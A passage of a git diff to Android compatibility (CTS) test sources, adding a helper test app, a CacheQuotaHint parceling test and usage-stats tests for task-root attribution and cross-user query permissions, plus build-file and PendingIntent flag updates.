+         android:targetPackage="android.accounts.cts"
+         android:label="CTS tests for android.accounts">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
index c297a83..2b2980d 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUnaffiliatedAccountAuthenticators",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/accounts/common/Android.bp b/tests/tests/accounts/common/Android.bp
index 16400f5..35d01fb 100644
--- a/tests/tests/accounts/common/Android.bp
+++ b/tests/tests/accounts/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "CtsAccountTestsCommon",
     // Includes all the java files, and explicitly declares any aidl files
diff --git a/tests/tests/animation/Android.bp b/tests/tests/animation/Android.bp
index 5741930..d8cbf4d 100644
--- a/tests/tests/animation/Android.bp
+++ b/tests/tests/animation/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAnimationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/apache-http/Android.bp b/tests/tests/apache-http/Android.bp
index 4f75917..9167002 100644
--- a/tests/tests/apache-http/Android.bp
+++ b/tests/tests/apache-http/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsApacheHttpTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/app.usage/Android.bp b/tests/tests/app.usage/Android.bp
index 9bccb8c..28d7bcf 100644
--- a/tests/tests/app.usage/Android.bp
+++ b/tests/tests/app.usage/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsUsageStatsTestCases",
     defaults: ["cts_defaults"],
@@ -32,10 +28,11 @@
         "android.test.base",
         "android.test.runner",
     ],
-    srcs: ["src/**/*.java", "TestApp1/**/*.java", "TestApp1/**/*.aidl"],
+    srcs: ["src/**/*.java", "TestApp1/**/*.java", "TestApp1/**/*.aidl", "TestApp2/**/*.java"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
+        "mts"
     ],
 }
diff --git a/tests/tests/app.usage/AndroidTest.xml b/tests/tests/app.usage/AndroidTest.xml
index 5fdf97a..26b799d 100644
--- a/tests/tests/app.usage/AndroidTest.xml
+++ b/tests/tests/app.usage/AndroidTest.xml
@@ -25,10 +25,15 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUsageStatsTestCases.apk" />
         <option name="test-file-name" value="CtsUsageStatsTestApp1.apk" />
+        <option name="test-file-name" value="CtsUsageStatsTestApp2.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.app.usage.cts" />
         <option name="runtime-hint" value="1m47s" />
         <option name="hidden-api-checks" value="false" />
     </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.extservices" />
+    </object>
 </configuration>
diff --git a/tests/tests/app.usage/OWNERS b/tests/tests/app.usage/OWNERS
index 0c47ac2..c81bc52 100644
--- a/tests/tests/app.usage/OWNERS
+++ b/tests/tests/app.usage/OWNERS
@@ -3,3 +3,4 @@
 varunshah@google.com
 yamasani@google.com
 per-file NetworkUsageStatsTest.java = file:/tests/tests/net/OWNERS
+per-file CacheQuotaHintTest.java = lpeter@google.com
diff --git a/tests/tests/app.usage/TestApp1/Android.bp b/tests/tests/app.usage/TestApp1/Android.bp
index cba5df5..5cf421a 100644
--- a/tests/tests/app.usage/TestApp1/Android.bp
+++ b/tests/tests/app.usage/TestApp1/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsageStatsTestApp1",
     defaults: ["cts_defaults"],
@@ -37,6 +33,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts"
     ],
     sdk_version: "test_current"
 }
diff --git a/tests/tests/app.usage/TestApp2/Android.bp b/tests/tests/app.usage/TestApp2/Android.bp
new file mode 100644
index 0000000..6cfdb68
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsUsageStatsTestApp2",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "cts-wm-util",
+        "junit",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    srcs: ["src/**/*.java", "aidl/**/*.aidl"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts"
+    ],
+    sdk_version: "test_current"
+}
diff --git a/tests/tests/app.usage/TestApp2/AndroidManifest.xml b/tests/tests/app.usage/TestApp2/AndroidManifest.xml
new file mode 100644
index 0000000..49a50fc
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.usage.cts.test2">
+
+    <application>
+        <activity android:name=".FinishingTaskRootActivity"
+                  android:exported="true"
+        />
+    </application>
+</manifest>
diff --git a/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java b/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java
new file mode 100644
index 0000000..bea621c
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java
@@ -0,0 +1,54 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.app.usage.cts.test2;
+
+import androidx.annotation.Nullable;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * A test activity that starts another activity within the same task and then finishes itself.
+ */
+public class FinishingTaskRootActivity extends Activity  {
+    public static final String TEST_APP_PKG = "android.app.usage.cts.test1";
+    public static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
+    private UiDevice mUiDevice;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        startActivity(new Intent().setClassName(TEST_APP_PKG, TEST_APP_CLASS));
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        finish();
+    }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/CacheQuotaHintTest.java b/tests/tests/app.usage/src/android/app/usage/cts/CacheQuotaHintTest.java
new file mode 100644
index 0000000..d45fb90
--- /dev/null
+++ b/tests/tests/app.usage/src/android/app/usage/cts/CacheQuotaHintTest.java
@@ -0,0 +1,78 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+
+package android.app.usage.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.usage.CacheQuotaHint;
+import android.app.usage.UsageStats;
+import android.os.Parcel;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CacheQuotaHintTest {
+
+    @Test
+    public void testCacheQuotaHintBuilder() throws Exception {
+        final CacheQuotaHint hint =
+                buildHint(/* volumeUuid= */ "uuid", /* uid= */ 0, /* quota= */ 100);
+        assertCacheQuotaHint(hint);
+    }
+
+    @Test
+    public void testCacheQuotaHintBuilderFromCacheQuotaHint() throws Exception {
+        final CacheQuotaHint hint = new CacheQuotaHint.Builder(
+                buildHint(/* volumeUuid= */ "uuid", /* uid= */ 0, /* quota= */ 100)).build();
+
+        assertCacheQuotaHint(hint);
+    }
+
+    @Test
+    public void testCacheQuotaHintParcelizeDeparcelize() throws Exception {
+        final CacheQuotaHint hint =
+                buildHint(/* volumeUuid= */ "uuid", /* uid= */ 0, /* quota= */ 100);
+
+        final Parcel p = Parcel.obtain();
+        hint.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        final CacheQuotaHint targetHint = CacheQuotaHint.CREATOR.createFromParcel(p);
+        p.recycle();
+
+        assertCacheQuotaHint(targetHint);
+    }
+
+    private CacheQuotaHint buildHint(String volumeUuid, int uid, long quota) {
+        return new CacheQuotaHint.Builder()
+                .setVolumeUuid(volumeUuid)
+                .setUid(uid)
+                .setQuota(quota)
+                .setUsageStats(new UsageStats()).build();
+    }
+
+    private void assertCacheQuotaHint(CacheQuotaHint hint) {
+        assertEquals("uuid", hint.getVolumeUuid());
+        assertEquals(0, hint.getUid());
+        assertEquals(100, hint.getQuota());
+        assertNotNull(hint.getUsageStats());
+    }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
index 5bd7dc1..58c254c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
@@ -40,7 +40,7 @@
                         new Intent(this, Activities.ActivityOne.class)
                                 .setAction(Intent.ACTION_MAIN)
                                 .addCategory(Intent.CATEGORY_LAUNCHER)
-                                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), 0))
+                                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), PendingIntent.FLAG_MUTABLE_UNAUDITED))
                 .setOngoing(true)
                 .build();
         startForeground(1, status);
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 92e351a..6c71597 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -33,7 +33,6 @@
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.app.PendingIntent;
-import android.app.usage.cts.ITestReceiver;
 import android.app.usage.EventStats;
 import android.app.usage.UsageEvents;
 import android.app.usage.UsageEvents.Event;
@@ -47,6 +46,8 @@
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.SystemClock;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
 import android.provider.Settings;
@@ -117,6 +118,9 @@
             = "android.app.usage.cts.test1.SomeActivityWithLocus";
     private static final String TEST_APP_CLASS_SERVICE
             = "android.app.usage.cts.test1.TestService";
+    private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
+    private static final String TEST_APP2_CLASS_FINISHING_TASK_ROOT =
+            "android.app.usage.cts.test2.FinishingTaskRootActivity";
 
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
     private static final long MINUTE = TimeUnit.MINUTES.toMillis(1);
@@ -137,6 +141,9 @@
     private String mTargetPackage;
     private String mCachedUsageSourceSetting;
     private String mCachedEnableRestrictedBucketSetting;
+    private int mOtherUser;
+    private Context mOtherUserContext;
+    private UsageStatsManager mOtherUsageStats;
 
     @Before
     public void setUp() throws Exception {
@@ -165,6 +172,12 @@
         // Force stop test package to avoid any running test code from carrying over to the next run
         SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
         mUiDevice.pressHome();
+        // Destroy the other user if created
+        if (mOtherUser != 0) {
+            stopUser(mOtherUser, true, true);
+            removeUser(mOtherUser);
+            mOtherUser = 0;
+        }
     }
 
     private static void assertLessThan(long left, long right) {
@@ -204,11 +217,15 @@
         mUiDevice.wait(Until.hasObject(By.clazz(clazz)), TIMEOUT);
     }
 
-    private void launchTestActivity(String pkgName, String className) {
-        Intent intent = new Intent();
+    private Intent createTestActivityIntent(String pkgName, String className) {
+        final Intent intent = new Intent();
         intent.setClassName(pkgName, className);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
+        return intent;
+    }
+
+    private void launchTestActivity(String pkgName, String className) {
+        mContext.startActivity(createTestActivityIntent(pkgName, className));
         mUiDevice.wait(Until.hasObject(By.clazz(pkgName, className)), TIMEOUT);
     }
 
@@ -575,7 +592,7 @@
                         .setContentTitle("My notification")
                         .setContentText("Hello World!");
         final PendingIntent pi = PendingIntent.getActivity(mContext, 1,
-                new Intent(Settings.ACTION_SETTINGS), 0);
+                new Intent(Settings.ACTION_SETTINGS), PendingIntent.FLAG_IMMUTABLE);
         mBuilder.setContentIntent(pi);
         mNotificationManager.notify(1, mBuilder.build());
         Thread.sleep(500);
@@ -684,6 +701,60 @@
         fail("Couldn't find a user unlocked event.");
     }
 
+    @AppModeFull(reason = "No usage stats access in instant apps")
+    @Test
+    public void testCrossUserQuery_withPermission() throws Exception {
+        assumeTrue(UserManager.supportsMultipleUsers());
+        final long startTime = System.currentTimeMillis();
+        // Create user
+        final int userId = createUser("Test User");
+        startUser(userId, true);
+        installExistingPackageAsUser(mContext.getPackageName(), userId);
+
+        // Query as Shell
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            final UserHandle otherUser = UserHandle.of(userId);
+            final Context userContext = mContext.createContextAsUser(otherUser, 0);
+
+            final UsageStatsManager usmOther = userContext.getSystemService(
+                    UsageStatsManager.class);
+            final List<UsageStats> stats = usmOther
+                    .queryUsageStats(UsageStatsManager.INTERVAL_DAILY, startTime,
+                        System.currentTimeMillis());
+            for (UsageStats pkgStats : stats) {
+                System.err.println(pkgStats.getPackageName() + " has entry in other user");
+            }
+            assertFalse(stats.isEmpty());
+        });
+        // user cleanup done in @After
+    }
+
+    @AppModeFull(reason = "No usage stats access in instant apps")
+    @Test
+    public void testCrossUserQuery_withoutPermission() throws Exception {
+        assumeTrue(UserManager.supportsMultipleUsers());
+        final long startTime = System.currentTimeMillis();
+        // Create user
+        final int userId = createUser("Test User");
+        startUser(userId, true);
+        installExistingPackageAsUser(mContext.getPackageName(), userId);
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            mOtherUserContext = mContext.createContextAsUser(UserHandle.of(userId), 0);
+            mOtherUsageStats = mOtherUserContext.getSystemService(UsageStatsManager.class);
+        });
+
+        try {
+            mOtherUsageStats.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, startTime,
+                    System.currentTimeMillis());
+            fail("Query across users should require INTERACT_ACROSS_USERS permission");
+        } catch (SecurityException se) {
+            // Expected
+        }
+
+        // user cleanup done in @After
+    }
+
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
@@ -739,26 +810,6 @@
                 mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
     }
 
-    /** Confirm the default value of {@link Settings.Global.ENABLE_RESTRICTED_BUCKET}. */
-    // TODO(148887416): get this test to work for instant apps
-    @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
-    @Test
-    public void testDefaultEnableRestrictedBucketOff() throws Exception {
-        setSetting(Settings.Global.ENABLE_RESTRICTED_BUCKET, null);
-
-        launchSubActivity(TaskRootActivity.class);
-        assertEquals("Activity launch didn't bring app up to ACTIVE bucket",
-                UsageStatsManager.STANDBY_BUCKET_ACTIVE,
-                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
-
-        // User force shouldn't have to deal with the timeout.
-        setStandByBucket(mTargetPackage, "restricted");
-        assertNotEquals("User was able to force into RESTRICTED bucket when bucket disabled",
-                UsageStatsManager.STANDBY_BUCKET_RESTRICTED,
-                mUsageStatsManager.getAppStandbyBucket(mTargetPackage));
-
-    }
-
     // TODO(148887416): get this test to work for instant apps
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
@@ -1285,14 +1336,36 @@
         setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_CURRENT_ACTIVITY));
         launchSubActivity(TaskRootActivity.class);
         // Usage should be attributed to the test app package
-        assertAppOrTokenUsed(TaskRootActivity.TEST_APP_PKG, true);
+        assertAppOrTokenUsed(TaskRootActivity.TEST_APP_PKG, true, TIMEOUT);
 
         SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
 
         setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_TASK_ROOT_ACTIVITY));
         launchSubActivity(TaskRootActivity.class);
         // Usage should be attributed to this package
-        assertAppOrTokenUsed(mTargetPackage, true);
+        assertAppOrTokenUsed(mTargetPackage, true, TIMEOUT);
+    }
+
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testTaskRootAttribution_finishingTaskRoot() throws Exception {
+        setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_TASK_ROOT_ACTIVITY));
+        mUiDevice.wakeUp();
+        dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+        launchTestActivity(TEST_APP2_PKG, TEST_APP2_CLASS_FINISHING_TASK_ROOT);
+        // Wait until the nested activity gets started
+        mUiDevice.wait(Until.hasObject(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+
+        // Usage should be attributed to the task root app package
+        assertAppOrTokenUsed(TEST_APP_PKG, false, TIMEOUT);
+        assertAppOrTokenUsed(TEST_APP2_PKG, true, TIMEOUT);
+        SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
+        mUiDevice.wait(Until.gone(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+
+        // Usage should no longer be tracked
+        assertAppOrTokenUsed(TEST_APP_PKG, false, TIMEOUT);
+        assertAppOrTokenUsed(TEST_APP2_PKG, false, TIMEOUT);
     }
 
     @AppModeInstant
@@ -1356,11 +1429,7 @@
 
         final long startTime = System.currentTimeMillis();
 
-        Intent intent = new Intent();
-        intent.setClassName(TEST_APP_PKG, TEST_APP_CLASS);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-        mUiDevice.wait(Until.hasObject(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS);
         SystemClock.sleep(500);
 
         // Destroy the activity
@@ -1411,11 +1480,7 @@
     }
 
     private void startAndDestroyActivityWithLocus() {
-        Intent intent = new Intent();
-        intent.setClassName(TEST_APP_PKG, TEST_APP_CLASS_LOCUS);
-        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        mContext.startActivity(intent);
-        mUiDevice.wait(Until.hasObject(By.clazz(TEST_APP_PKG, TEST_APP_CLASS_LOCUS)), TIMEOUT);
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_LOCUS);
         SystemClock.sleep(500);
 
         // Destroy the activity
@@ -1445,20 +1510,21 @@
 
     /**
      * Assert on an app or token's usage state.
+     *
      * @param entity name of the app or token
      * @param expected expected usage state, true for in use, false for not in use
      */
-    private void assertAppOrTokenUsed(String entity, boolean expected) throws IOException {
-        final String activeUsages = executeShellCmd("dumpsys usagestats apptimelimit actives");
-        final String[] actives = activeUsages.split("\n");
-        boolean found = false;
+    private void assertAppOrTokenUsed(String entity, boolean expected, long timeout)
+            throws IOException {
+        final long realtimeTimeout = SystemClock.elapsedRealtime() + timeout;
+        String activeUsages;
+        boolean found;
+        do {
+            activeUsages = executeShellCmd("dumpsys usagestats apptimelimit actives");
+            final String[] actives = activeUsages.split("\n");
+            found = Arrays.asList(actives).contains(entity);
+        } while (found != expected && SystemClock.elapsedRealtime() <= realtimeTimeout);
 
-        for (String active : actives) {
-            if (active.equals(entity)) {
-                found = true;
-                break;
-            }
-        }
         if (expected) {
             assertTrue(entity + " not found in list of active activities and tokens\n"
                     + activeUsages, found);
@@ -1520,4 +1586,61 @@
         final ITestReceiver testService = bindToTestService();
         return testService.isAppInactive(pkg);
     }
+
+    private int createUser(String name) throws Exception {
+        final String output = executeShellCmd(
+                "pm create-user " + name);
+        if (output.startsWith("Success")) {
+            return mOtherUser = Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
+        }
+        throw new IllegalStateException(String.format("Failed to create user: %s", output));
+    }
+
+    private boolean removeUser(final int userId) throws Exception {
+        final String output = executeShellCmd(String.format("pm remove-user %s", userId));
+        if (output.startsWith("Error")) {
+            return false;
+        }
+        return true;
+    }
+
+    private boolean startUser(int userId, boolean waitFlag) throws Exception {
+        String cmd = "am start-user " + (waitFlag ? "-w " : "") + userId;
+
+        final String output = executeShellCmd(cmd);
+        if (output.startsWith("Error")) {
+            return false;
+        }
+        if (waitFlag) {
+            String state = executeShellCmd("am get-started-user-state " + userId);
+            if (!state.contains("RUNNING_UNLOCKED")) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private boolean stopUser(int userId, boolean waitFlag, boolean forceFlag)
+            throws Exception {
+        StringBuilder cmd = new StringBuilder("am stop-user ");
+        if (waitFlag) {
+            cmd.append("-w ");
+        }
+        if (forceFlag) {
+            cmd.append("-f ");
+        }
+        cmd.append(userId);
+
+        final String output = executeShellCmd(cmd.toString());
+        if (output.contains("Error: Can't stop system user")) {
+            return false;
+        }
+        return true;
+    }
+
+    private void installExistingPackageAsUser(String packageName, int userId)
+            throws Exception {
+        executeShellCmd(
+                String.format("pm install-existing --user %d --wait %s", userId, packageName));
+    }
 }
diff --git a/tests/tests/app/Android.bp b/tests/tests/app/Android.bp
index 3c9e5bf..f090495 100644
--- a/tests/tests/app/Android.bp
+++ b/tests/tests/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAndroidAppTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/app/src/android/app/cts/RemoteActionTest.java b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
index 2f71ed4..e1c1ba2 100644
--- a/tests/tests/app/src/android/app/cts/RemoteActionTest.java
+++ b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
@@ -40,7 +40,7 @@
         String title = "title";
         String description = "description";
         PendingIntent action = PendingIntent.getBroadcast(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteAction reference = new RemoteAction(icon, title, description, action);
         reference.setEnabled(false);
         reference.setShouldShowIcon(false);
@@ -64,7 +64,7 @@
         String title = "title";
         String description = "description";
         PendingIntent action = PendingIntent.getBroadcast(
-                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+                InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         RemoteAction reference = new RemoteAction(icon, title, description, action);
         reference.setEnabled(false);
         reference.setShouldShowIcon(false);
diff --git a/tests/tests/appcomponentfactory/Android.bp b/tests/tests/appcomponentfactory/Android.bp
index 27edc67..7c889cf 100644
--- a/tests/tests/appcomponentfactory/Android.bp
+++ b/tests/tests/appcomponentfactory/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAppComponentFactoryTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/appcomponentfactory/TEST_MAPPING b/tests/tests/appcomponentfactory/TEST_MAPPING
new file mode 100644
index 0000000..a69b8bc
--- /dev/null
+++ b/tests/tests/appcomponentfactory/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppComponentFactoryTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/appenumeration/Android.bp b/tests/tests/appenumeration/Android.bp
index 5d510eb..9cbbcaa 100644
--- a/tests/tests/appenumeration/Android.bp
+++ b/tests/tests/appenumeration/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAppEnumerationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
index d2901e0..731a19c 100644
--- a/tests/tests/appenumeration/app/source/Android.bp
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_defaults {
     name: "CtsAppEnumerationQueriesDefaults",
     srcs: ["src/**/*.java"],
@@ -285,3 +281,4 @@
         "general-tests",
     ],
 }
+
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
index 2eba524..6641c9a 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
+++ b/tests/tests/appenumeration/app/source/AndroidManifest-queriesActivityAction.xml
@@ -1,18 +1,18 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
+    Copyright (C) 2019 The Android Open Source Project
+
+    Licensed under the Apache License, Version 2.0 (the "License");
+    you may not use this file except in compliance with the License.
+    You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+    Unless required by applicable law or agreed to in writing, software
+    distributed under the License is distributed on an "AS IS" BASIS,
+    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+    See the License for the specific language governing permissions and
+    limitations under the License.
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
index 564f712..f8fcea4 100644
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesNothing-hasPermission.xml
